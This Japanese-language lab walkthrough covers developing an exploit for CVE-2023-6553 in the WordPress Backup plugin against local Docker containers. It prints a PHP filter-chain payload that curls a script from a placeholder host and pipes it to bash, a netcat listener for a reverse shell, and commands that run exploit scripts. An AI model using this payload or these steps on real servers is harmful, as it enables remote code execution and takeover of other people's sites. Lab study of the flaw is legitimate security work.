
WordPressのバックアッププラグインにおけるCVE-2023-6553のエクスプロイト開発
WordPressのBackupプラグインにおけるCVE-2023-6553のエクスプロイト開発
これはCVSSスコア9.8の重大なCVEです。
この脆弱性により、攻撃者は脆弱なバージョンのプラグインを実行しているサーバーにコマンドを送信できます。
脆弱なバージョン Backup <= 1.3.7
リポジトリをgit cloneします。
以下のコマンドを実行してDockerコンテナをセットアップします。
docker-compose up -d
2つのDockerコンテナが表示されるはずです。
http://localhost:8000/
wget https://downloads.wordpress.org/plugin/backup-backup.1.3.6.zip
python3 -m http.server
go run exploit.go -chain="<?php exec('curl <HOST_IP>:9000/a.sh |bash');?>"
HTTP Response Body: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80</address>
</body></html>
これは、フィルター変換後にヘッダーのサイズがサーバーが許可するサイズを超えるためです。
nc -nlvp 8080
次に、以下のコマンドを実行して脆弱なプラグインを悪用します。
python3 final_exploit.py